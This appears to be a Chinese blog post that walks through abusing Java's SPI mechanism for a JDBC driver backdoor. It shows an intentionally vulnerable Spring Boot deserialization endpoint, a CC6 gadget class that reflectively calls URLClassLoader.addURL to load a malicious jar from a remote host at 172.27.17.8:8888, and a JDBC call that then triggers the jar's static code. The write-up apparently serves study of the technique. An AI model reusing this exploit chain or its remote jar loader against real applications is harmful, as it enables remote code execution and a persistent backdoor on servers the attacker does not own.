前几天学习了pyn3rd师傅的从SPI机制到JDBC后门实现一文
主要是的思路是利用的SPI机制,进行的RCE, 主要是在DriverManager
类中能够通过SPI机制获取classpath下所有jar包的的META-INF/services/java.sql.Driver
中的类对象
之后在获取其中的JDBC实现类的时候,使用的是Class.forname
进行类的获取
所以,师傅的思路就是构造了一个恶意的jar包,在java.sql.Driver
文件下指向我们实现的恶意类,因为在使用Class.forname
加载类的时候,将会触发他的static代码块,所以我们可以在static下实现我们的意类逻辑
但是,在师傅的文章中,是在本机进行实验的,直接将构造的恶意jar包手动添加进入classpath下
我这里进行了简单的改造,通过反序列化漏洞作为入口,动态的添加远程jar包进入运行程序的classpath中,之后在进行JDBC连接的时候触发恶意逻辑
其他的师傅都说的很详细,我这里主要是学习一下具体的SPI实现
在使用DriverManager.getConnection
方法建立数据的连接中,首先会初始化DriverManager
类对象
将会触发他的static代码块
注释中也存在有解释,加载初始化的JDBC驱动,之后使用 ServiceLoader
机制
体现在代码中就是调用了loadInitialDrivers
主要是通过classloader
得到所有的驱动,调用了ServiceLoader.load(Driver.class)
方法进行获取
使用当前线程的上下文加载器,获取到service
的loader
在ServiceLoader.load
方法的调用过程中创建了一个ServiceLoader
对象
在其构造方法中,调用reload方法进行重新加载
之后回到了loadInitialDrivers
方法的调用
加载所有的服务
可以跟进到ServiceLoader#hasNextService
方法中
将需要发现的服务添加进入了URLClassPath
中进行寻找
在加载对应的服务主要是在ServiceLoader#nextService
方法中
这一小部分的调用栈为:
nextService:370, ServiceLoader$LazyIterator (java.util) next:404, ServiceLoader$LazyIterator (java.util) next:480, ServiceLoader$1 (java.util) run:603, DriverManager$2 (java.sql) run:583, DriverManager$2 (java.sql) doPrivileged:-1, AccessController (java.security) loadInitialDrivers:583, DriverManager (java.sql) <clinit>:101, DriverManager (java.sql) test:29, TestController (com.roboterh.vuln.controller)
这里我使用的环境是
springboot 2.5.0
<dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.2.23</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.30</version> </dependency>
反序列化入口
@Controller public class CommonsCollectionsVuln { @ResponseBody @RequestMapping("/unser") public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.InputStream inputStream = request.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); response.getWriter().println("successfully!!!"); } @ResponseBody @RequestMapping("/demo") public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{ response.getWriter().println("This is a Demo!!!"); } }
创建了一个进行数据库连接的接口
@RequestMapping("/createSql") public void test() { try { Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root"); Statement statement = connection.createStatement(); String sql = "select * from user"; ResultSet resultSet = statement.executeQuery(sql); while (resultSet.next()) { System.out.println("id==>" + resultSet.getInt(1)); System.out.println("name==>" + resultSet.getString(2)); } } catch (SQLException e) { e.printStackTrace(); } } }
首先就是构造一个恶意的jar包
之后就是使用URLClassLoader
加载远程jar包
我这里使用的是CC6进行反序列化利用,需要继承AbstractTranslet
类
package pers.cc; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; public class loadJar extends AbstractTranslet { static { String url = "http://172.27.17.8:8888/EvilJar.jar"; try { URL url1 = new URL(url); // 获取类加载器的addURL方法 Class<?> aClass = Class.forName("java.net.URLClassLoader"); Method addURL = aClass.getDeclaredMethod("addURL", URL.class); addURL.setAccessible(true); // 获取系统类加载器 URLClassLoader systemClassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader(); addURL.invoke(systemClassLoader, url1); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
值得注意的是为了更好的显示是否成功加载远程的恶意jar包,我在loadJar
类中添加了如下代码
try { Class<?> aClass1 = Class.forName("com.mysql.fake.jdbc.FakeDriver"); System.out.println("Class loaded!"); } catch (ClassNotFoundException e) { System.out.println("Class not found!"); }
之后就是运行漏洞环境,发送序列化数据
我们可以在控制台中知道能够成功加载
在将远程jar包添加进入了classpath之后,尝试进行JDBC连接触发漏洞
能够通过反序列化的方式进行这种方式的利用